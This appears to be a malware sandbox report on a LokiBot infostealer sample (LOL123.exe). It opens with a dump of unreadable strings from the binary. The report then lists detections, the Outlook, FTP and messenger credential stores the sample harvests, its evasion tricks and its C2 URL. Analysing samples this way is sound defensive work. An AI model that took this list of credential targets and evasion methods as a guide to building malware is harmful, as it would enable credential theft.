o o'o &o"o!o
_srr
o !o &o #o
_._
};e,
o !o o #o
o !o o"o 'o!o&o
o"o'o o
dRprr
o 'o&o o
o 'o #o
o&o 'o!o o
'eyihC66f1deD0Ih65lQ2qxTOJsGMKekGa52z5qB
o 'o !o
o o 'o o'o"o"o &o!o#o
MethodBase
N',~!L{-1
Gsrr
o&o"o'o o
xRIsgbLvakGtczITcyN5M1rG5k
\;F897S
zrrLu
Yqrr
b{\*
m@4 2A60
o"o o o
o #o!o!o
azn3
%`nW
!VjF
o #o!o#o
EErfhAtnG0e0Y6ePaOfSQjlVuUi6Dw
o"o !o'o &o o 'o
O(
r]r8
sNRi/
!srr
^S-ay
]qrr
rrrRe
o o&o !o &o
o o&o&o"o'o o
o o&o !o'o 'o &o#o#o#o o #
8k:Vb
o!o#o!o#o 'o
eGsrr
o #o &o o 'o&o o
7prr
+^9}
z ~!
v#"a6
o !o"o #
o&o"o &o
prr3i
o 'o#o#o
1wrr
o!o #o'o &o
o!o 'o!o'o #
AssemblyCopyrightAttribute
o !o#o!o
e'err
o #o"o#o &o!o 'o !o'o!o
FA
o'o !o !o#o
)xrr
jIIgaFODlqwYODW4Ifr4WpQqQ
o#o 'o"o!o'o o &o #
System.Threading
emorrr
h h3
gsrr
o &o !o#o &o o!o #
(<Y!
evrr
e vrr
e^jrrr
-srrL
eRPrr
o o !o'o
3\e#z
0qvrr~(
)0 tM
o !o#o&o o#o"o'o &o"o 'o 'o
o!o!o #o !o o o
o'o o#o o"o #o'o
o 'o'o&o"o o
o#o!o&o!o ?
o !o &o"o #o
B?3ip
$pD0dTHYqLlLP8RPHfdAjYmDXZgq2UsUQSOWW
Un{T
o o'o
bwc#
=eIu>T9
o&o 'o#o &o#o!o'o 'o
G(G,
[Z+?H
e >rr
e~nrr
wg 3
o &o!o&o #o
xmt83aG57IjfjxUIoukG
o !o!o
Ywrr
.3 )
yprrr
;$ uE
6ZPFd
h>G
o#o o"o 'o
o !o 'o'o !o !o
l3||
o!o o #o&o &o"o
o o&o &o #o
o#o #o !o
Mxrr
e#Krr
o o o 'o o'o'o!o
xrrr
o #o!o&o'o #o
G^Ce
\~FTp"w
e frr
R{1a>
o o'o#o'o#o&o'o o!o &o &o 'o
xrrd
m{rr e
o#o &o 'o
Ce@trr
ej3rr
0}prr
)Rc-
xrrU
o #o o"o'o&o &o !o!o !o #o
AprrJ
01srr
o'o#o"o #o!o
yzrr
xrrF
rrr.e
#K:U:
xY/3z
o'o&o"o#o#o #o#o
rrr i
o !o#o !o #
o'o o
m~&e
d~:h
o o &o o
o 'o !o"o
Q!9y
o o o o!o
A+*a
e.[rr
o 'o !o o"o'o"o &o
d)prr
o#o o 'o"o &o
|UPT?
o &o!o &o
o#o o 'o
o 'o"o #
o o &o!o o !o'o!o !o
urr t
o"o o o
o #o #o#o o'o#o #o #
o #o#o o &o"o
o o 'o'o o !o
eUHrr
o o !o&o
Ce/yrr
wrr\
AXb\
0?prr3
o #o 'o
o#o !o!o
o!o!o
o#o&o#o!o
vKiZHASpVDKijXBx5h9CvtsSjvvOBbfO
Yyrr
o!o'o
o#o #o!o !o'o"o !o#o
yjru
)4_"9J
5wrr
o &o 'o!o o
oc|*x)
7Z>Xl-"
oWgy{
v2.0.50727
o#o!o'o&o o #
zrr\
~0%J
o !o 'o!o
qrrrD
Erv
|}W%
o 'o
%PQH
]srr
}ebtrr
qrrrM
%urr
yFWhDkW0MqUgcGKfOq5NjGF0uoX
o#o&o o
prrrL
(-2t
0cvrr3
o!o!o'o 'o!o
CGb3
o#o&o&o
o #o 'o o
o #o o o
o !o o&o o
o!o #o&o #o #
e4vsr
<rr c
xrr
urr3
0=wrr~(
o #o 'o&o
urr4
b(A7
Atrr
o'o o &o#o
o o o
A{rr
r.$T
yprr
}yrr
Yprr
o o"o
o"o&o 'o 'o
W*a#&f765F
91d~
;\g"
o &o &o &o'o #o
eJ@rr
o #o"o &o'o &o 'o
o 'o"o
xc7mAgGP8JZr8Zr2ZI1ZIg
asrrJ
o o&o!o o !o o
Isrr>~
o"o'o &o!o o'o"o 'o#o!o 'o
urrA
0rrrr
o o o !o"o
zrrM
0]qrr(((
wrr
o #o !
o 'o&o
o&o o'o 'o
o"o'o!o #
o o!o#o o#o &o !o 'o o 'o!o
qrr3-
I2ndmScBDUljBlztFd7C5h26up0Ca
GetTypeFromHandle
ef&rr
o &o !o 'o #o
e+urr
?srr
urrd
WwsenT
]K \
0?qrr39
o&o!o o
o o 'o&o
o #o o"o#o
/fTw
o o o &o"o
BV?f
rrd
g!yY
3/l9
o&o &o #o &o"o"o o
-xrr
eV2rr
^;t^
o 'o o !o
o o&o !o #
!urr
rrr#
o 'o'o o'o!o 'o&o !o#o
O03C
get_Count
yBZf50VkxgB8
71zvlM4e5Ygr2Zfjy9Pf
o#o'o !o'o"o o
2~3P
o o'o'o#o
}zrr
o"o 'o'o'o
hT1&
J !;
o"o#o o#o o#o#o!o!o 'o #o 'o
e5rr
eSwrr
o 'o"o o
^=pB
o'o &o 'o #o
dARvP
cmG]
o&o 'o o&o
o!o !o"o
Yzrr
o !o o"o!o#o&o!o
]grz
eb~rr
o!o'o o
3srrf
o!o 'o!o
o&o 'o#o
o !o'o!o !o #o"o
{y= Y
o #o#o"o o o o o 'o #o o
zrr%
rrdi
9prrm
'o"o!o&o o
49!
eG!rrr
+Z"CJ
f=[$
o!o#o&o 'o'o o 'o &o &o!o
o o #
elDrr
tsrr
o 'o#o !o'o #o&o"o
o o !o o
o"o !o'o"o
o&o !o 'o!o
_CorExeMain
eHmrr
^ }'
o o #o #o &o"o
o'o &o &o'o
o o #o&o #o o 'o"o'o o
owrr
( Hg
e*Yrr
o!o&o!o
6wut
=vrr
N, BQO
DA3J
o!o'o #o o
\?.>
e#Prr
csrr
Cd]I
'7nx
Qprr
&-e]R
o 'o #o #o #
System.Runtime.CompilerServices
o!o#o 'o 'o 'o o &o !o#o !o#o &o!o #o
o'o'o o o
eqrr
o &o o o #
o #o !o'o &o"o&o o&o
Esrr
k|pNDEL
o"o"o
8isrr
e/-rr
R0|e
o#o#o #o &o"o !o'o
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
}32P
o #o"o"o!o"o o&o
o!o!o !o o
o!o #o #o o
o o &o&o"o
ex!rr
o o'o'o &o #o!o!o o&o o
BvIN
yqrr
Uxrr
e|Orr
esArr
o o#o #o o &o&o o'o o&o
o &o o!o!o !o
e?mrr
o 'o !o o &o!o
o 'o &o #o
^$xCT
w{0?
n;H*r
3HLP
o'o #o'o
o#o #o#o o!o
o"o'o 'o!o
CeDwrr
rr.mp
F#ca
o!o#o"o#o o #o
e)@rr
o o #o #
eP~rrr
Cej|rr
o o"o #o !o 'o!o
o#o!o #
Urrr
mSPHi
eoxrr
0gprr
o!o!o!o !o&o
e0wrr
vkCDAPtaqrmnoqsCa9qWoJRfIMLA0iuI
e#psr
TauIOkjcQLC7vM1ExJFjhk0mP
o&o #o !o
o #o &o o&o 'o
o"o&o'o 'o!o
uzrr
nprr
PWOXikfRuoYvMzXfUyyd4xSO
o o 'o#o
0=zrr3-
rrrM_o
xeOsi9Z7p7YVWG9s15x9xw4yQsr
8YyJ
o 'o#o"o
%OiJsErqQibOqAps2dPPDMQm6Vven3v3jyvTYL
o!o#o!o&o
o!o o&o#o
5?l 7
o'o o #o &o'o !o o&o
yciEluAt4vuhRa9QjYrHy2u5ARly41Sl
o!o o &o"o #o 'o
((((e
ez%rr
jZJ3
}C.HY
o 'o o#o o
o!o&o"o o
Jc Jc
_-@K:
ixrrurZ
5vrr D
3In
o o o #o
0?srr
v$;Q<V $
5qrr
o 'o!o !o &o #
Q{rr
mRKs7qhPRpu38PMTlXUqGblq3e2pUKGN
a5Erb'
!5ioJLj85GSuxuYvdwXFHKmrZu5EEwmuP2
o&o o #o &o o
=.Z_
#1$H
@Gc
o#o'o 'o
o !o &o
o!o o"o
eGrrr
o o"o o
9zrr
o o&o"o o"o
o!o!o"o!o
o o o&o o &o &o
}}<@
o o"o&o
o !o o
o !o!o #o
e(:rr
o&o &o #o
0TbE
o o o
bRck7VY3UdRmRSWSz2a61o5Lr6
o#o o &o!o 'o &o
o#o !o !o#o &o #
o o'o 'o'o
o'o"o o
o #o &o 'o o
2z;`
o"o 'o #
o o &o
o"o #o#o
oAe
o !o o'o
o o 'o#o #
o o'o o
prr(((
3Xh:bQ
o #o'o'o &o o!o!o o
o&o !o
0Tbw
8Qyrr
o'o &o&o
I{rr
`hcw
`~9.
o&o"o"o
,-:/fe
awrrJ
H<!j
o&o"o#o#o&o&o o
ueR*rr
iDEn
8'srr
e1Mrr
o #o#o o
o &o o !o&o
81yrr
'S\T
)=5.
K;Pv:
!` &
o &o !o
er+rr
o #o !o'o 'o 'o !o
rrew
o o#o #o#o !o
Ysrr\
[`82[*-
o!o"o #o o !o'o"o
2O#
rrr8Yyrre
3fTfncAtqCG3rvp4Q1wNRbe7BB
UM4jjWeNAQ2T8n71iitVpUCw4u
ue*jsr
da`!a
o &o &o!o o#o 'o&o&o o &o"o #o
o o#o 'o #o#o&o !o!o
o &o #o
e"wsr
o'o o&o
uwkmi5SWBPcJSnGGp94n0eeYmlgojOX
5H N
o"o &o #
CeQwrr
o o 'o#o 'o"o #o
duojZ
Cv7~
e`vsr
jKe9
=qrr
mzrr
Ia\
o&o"o#o"o
o 'o'o o"o&o&o #
"rgbSys8doYfY6Xj19Fyu61C8N1AEwMvCVD
eCDrr
o o 'o!o&o
\,IOU
W_(RDmX0
o !o!o &o!o'o
e*"rr
B^Nb
q&>f]3
o !o#o 'o
em}rr
ls0;
*{bG
vrr~(
o!o o"o 'o!o
PwQh~
o &o!o !o #o&o#o o o
o!o #o'o
o#o o #o
]f{i
o #o!o o'o o #o #o
6X" fX
o o o o o"o !o&o!o !o
eiurr
epprr
A2$H6s
yeztrrr
XGECdq2qulXN
J[a8
e,Arr
e}dsr
#vrr
e`Brr
o"o'o#o
Thread
csJFD
o#o o#o'o 'o'o#o o"o!o
e+Grr
ehq?
o&o'o o 'o#o #
o#o &o!o
r!bM
!GW*TT
o o !o o o &o&o#o&o o #o
!vrr t
o'o &o o!o!o'o"o &o!o&o #
i:{~-
o !o 'o #o"o !o o!o
*H*[c
e?rsr
o !o &o #
:[iu
o#o o !o o
0}srr
VsN\g
iurr
//Xx
o o o o o&o o 'o
o &o &o!o !o#o
o o o#o
B/Fy
o o &o!o o
ehQrr
xrr5r[
o!o&o !o 'o o o #
#o !o 'o &o
AqrrJ
zsrr
yyrre
5urrrL
{<Y!
r].u-
Vt9w
o'o o
3w%m
o !o'o !o"o"o#o
o o o!o
'G\0
o !o !o o o
Qzrr^f
o"o&o #o #o #o"o"o"o"o
o"o"o&o!o"o!o &o o"o &o"o
eixrrr
(UP4z
MrHN<
#SCRa3GgVnbZcl2EG1Rl9NaqpnxdCe1rulde
aqrr
o 'o 'o#o &o!o
o&o#o o&o
tNs{3K
o 'o 'o!o!o
'"oGl
FX(e
tKJl
o !o"o #o&o o!o"o
eyJrr
eMDrr
o #o'o
o&o o #o #o !o!o
o o!o o&o
qrr
qtrr
eNesr
pVrs
?t,y
o#o 'o o
!tm'
o #o!o
o o o #
5xrr
#o !o"o !o
o #o o"o!o
0uyrr
t6ACxupZCDLfuIWcKg7U
=~O;;
0b2ha4jMsBrh6jPEE0WRhGIARp3
S{ X
eaTrr
mWWA
o #o!o
[;;>7?k
KAH:
}prr
{e+srr
o#o !o !o
0Gtrr3
!t8;
o o !o &o
o#o#o'o
T$WI
o #o o'o'o#o
TSgJP0sekFL1V8Akp0fQfrR1
o o !o o
hEYP
%ndDFrOQFiNmmvsTM79LPcLVG29YExjes6K7V2
51gr
srrA
eKDrr
OA_%
r8 wrr
o o &o
o o o"o
o!o&o #o&o"o'o
\System.String[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089PA
#j%
eQTrr
l}tNS
0Osrr~(
o 'o"o #o #o#o
e?\rrr
e"/rr
uprr
KD8;v
uGqAoRUod65TMsF5SKBNv2nBbTdn8X
eT[rr
o!o!o o"o #o
o #o o !o'o"o
o&o'o !o&o
?>3s
xEFoqqR6xtj1J0K2g5FL
%UT
epxrr
o &o o#o 'o&o#o
o 'o"o o#o
o o &o"o o#o o
0`; J
o #o &o &o#o o
System.Windows.Forms
CA5
;^p-X~
$Ikk0HmWHnDbZotrYJ8W98RHBIzC1Ty272ASL
h/r9/
Ie3z
o&o"o !o
o &o"o"o
aAqEC
[dwt
o #o &o o 'o&o&o #
o 'o 'o &o o&o !o o&o #o
0vMK
o #o o'o o 'o&o &o'o"o"o'o
!{rr
9prr
7HfDHDCmnq0YQtoLxhhDTiaNSF
srr((((
{#dD
mMQC
o 'o o"o
o #o #o 'o 'o#o!o#o#o #
o"o o&o
o&o 'o
o'o 'o#o
e}<rr
&7En
K!"W
o#o o!o o 'o!o o"o o
Yxrr
UBc@
o!o#o o
RGNzo3XM18u55Qv1nL8h37J8tS6aIG
#CUTZELS7txCvmuslZA1VFiXxny3oACoyXkr
vUedM5
` ^
#MMFXy0vHLSZ3Ksaguqh0lBKlW1Ef0UuFBlp
}e.(rr
FuO1TOJYS7NDMC8DKd4i96UVWJOLbB
o'o #o!o !o !o o"o #o'o
}2J_
o!o!o 'o
>/<@
o"o o #o o#o #
Myrr
:wP8B8(
Dn4p@
o"o#o #
:urr
){rr
'6ojpA8tdrKz4nKEJPEvi0KMuPNtWRoLoJq0SWgK
eyrr
py/U
p>*T
rr 3
Sleep
2sOGamzGXpWGJLkqbch43fvRZjG
o'o &o
usrr
4OGOZLIOx14YgKC8AJbUtdtaKiRauSYrahBhyDc.resources
Yrrr
rr. q
Behavior analysis details | |||||
---|---|---|---|---|---|
Machine name | Machine label | Machine manager | Started | Ended | Duration |
Seven05b_64 | Seven05b_64 | VirtualBox | 2018-08-05 17:42:36 | 2018-08-05 17:45:36 | 180 |
15 Behaviors detected by system signatures
Created network traffic indicative of malicious activity
Severity: High
Confidence: High
- signature: ET TROJAN LokiBot User-Agent (Charon/Inferno)
- signature: ET TROJAN LokiBot Checkin
- signature: ET TROJAN LokiBot Request for C2 Commands Detected M2
- signature: ET TROJAN LokiBot Request for C2 Commands Detected M1
- signature: ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1
- signature: ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2
Collects information to fingerprint the system
Severity: High
Confidence: High
Harvests information related to installed mail clients
Severity: High
Confidence: Very High
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7d19c9e894f20d4780a31c9a9f17da11
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\00471e98b7a362469ed97e3915fd4111
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\10b0e4d6eb1de34dabd532a0806a0fec\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\818ecc2f310b344f807e8af5dc013189\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\192e64c97bf3a54488a039619c763627
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\32a3dc9c400a4b448b60ab7fe553a392\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\32a3dc9c400a4b448b60ab7fe553a392
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\818ecc2f310b344f807e8af5dc013189
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\43e0bb79f0f2d84db98ff4f730d23d24
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7760e21103136b47946c9c80fa097f15
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\6a50d9bd87f9a8478751861a1591a6c2
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\6a50d9bd87f9a8478751861a1591a6c2\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\192e64c97bf3a54488a039619c763627\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\10b0e4d6eb1de34dabd532a0806a0fec
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7d19c9e894f20d4780a31c9a9f17da11\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7760e21103136b47946c9c80fa097f15\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\43e0bb79f0f2d84db98ff4f730d23d24\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\00471e98b7a362469ed97e3915fd4111\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook
- key: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook
Harvests information related to installed instant messenger clients
Severity: High
Confidence: Very High
- file: C:\Users\Seven01\AppData\Roaming\.purple\accounts.xml
Harvests credentials from local FTP client softwares
Severity: High
Confidence: Very High
- file: C:\Users\Seven01\AppData\Roaming\FileZilla\sitemanager.xml
- file: C:\Users\Seven01\AppData\Roaming\FileZilla\recentservers.xml
- file: C:\Users\Seven01\AppData\Roaming\Far Manager\Profile\PluginsData\42E4AEB1-A230-44F4-B33C-F195BB654931.db
- file: C:\Program Files (x86)\FTPGetter\Profile\servers.xml
- file: C:\Users\Seven01\AppData\Roaming\FTPGetter\servers.xml
- file: C:\Users\Seven01\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
- key: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
- key: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
- key: HKEY_CURRENT_USER\Software\Ghisler\Total Commander
- key: HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
Creates a hidden or system file
Severity: High
Confidence: Medium
- file: C:\Users\Seven01\AppData\Roaming\E62877\73E4A9.exe
- file: C:\Users\Seven01\AppData\Roaming\E62877
Spoofs its process name and/or associated pathname to appear as a legitimate process
Severity: High
Confidence: Very High
- original_path: C:\Users\Seven01\AppData\Local\Temp\LOL123.exe
- modified_name: lol123.exe
- original_name: LOL123.exe
- modified_path: C:\Users\Seven01\AppData\Local\Temp\lol123.exe
Attempts to repeatedly call a single API many times in order to delay analysis time
Severity: High
Confidence: Very High
- Spam: services.exe (476) called API GetSystemTimeAsFileTime 3530200 times
Deletes its original binary from disk
Severity: High
Confidence: Very High
Executed a process and injected code into it, probably while unpacking
Severity: High
Confidence: Very High
- Injection: LOL123.exe(2556) -> LOL123.exe(2900)
The binary likely contains encrypted or compressed data.
Severity: Medium
Confidence: Very High
- section: name: .text, entropy: 6.92, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x0003e400, virtual_size: 0x0003e2c4
Performs some HTTP requests
Severity: Medium
Confidence: Low
- url: http://185.206.144.81/lawi/fre.php
HTTP traffic contains suspicious features which may be indicative of malware related traffic
Severity: Medium
Confidence: Low
- post_no_referer: HTTP traffic contains a POST request with no referer header
- http_version_old: HTTP traffic uses version 1.0
- ip_hostname: HTTP connection was made to an IP address rather than domain name
- suspicious_request: http://185.206.144.81/lawi/fre.php
A process attempted to delay the analysis task.
Severity: Medium
Confidence: Very High
- Process: LOL123.exe tried to sleep 722 seconds, actually delayed analysis time by 0 seconds
Creates RWX memory
Severity: Medium
Confidence: Medium
Behavior analysis details | |||||
---|---|---|---|---|---|
Machine name | Machine label | Machine manager | Started | Ended | Duration |
Seven05b_64 | Seven05b_64 | VirtualBox | 2018-08-05 17:42:36 | 2018-08-05 17:45:36 | 180 |
10 Summary items with data
Files
C:\Windows\System32\MSCOREE.DLL.local C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll C:\Windows\Microsoft.NET\Framework\* C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll C:\Users\Seven01\AppData\Local\Temp\LOL123.exe.config C:\Users\Seven01\AppData\Local\Temp\LOL123.exe C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Users\Seven01\AppData\Local\Temp\LOL123.exe.Local\ C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll C:\Windows C:\Windows\winsxs C:\Windows\Microsoft.NET\Framework\v4.0.30319 C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\fusion.localgac C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI C:\Users C:\Users\Seven01 C:\Users\Seven01\AppData C:\Users\Seven01\AppData\Local C:\Users\Seven01\AppData\Local\Temp C:\Windows\System32\l_intl.nls C:\Windows\Microsoft.NET\Framework\v2.0.50727\ole32.dll \Device\KsecDD C:\Users\Seven01\AppData\Local\Temp\LOL123.INI C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll C:\Windows\assembly\pubpol28.dat C:\Windows\assembly\GAC\PublisherPolicy.tme C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI C:\Windows\assembly\GAC_MSIL\System.Drawing\2.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI C:\Windows\Globalization\it-it.nlp C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp C:\Users\Seven01\AppData\Local\Temp\it-IT\LOL123.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\LOL123.resources\LOL123.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\LOL123.resources.exe 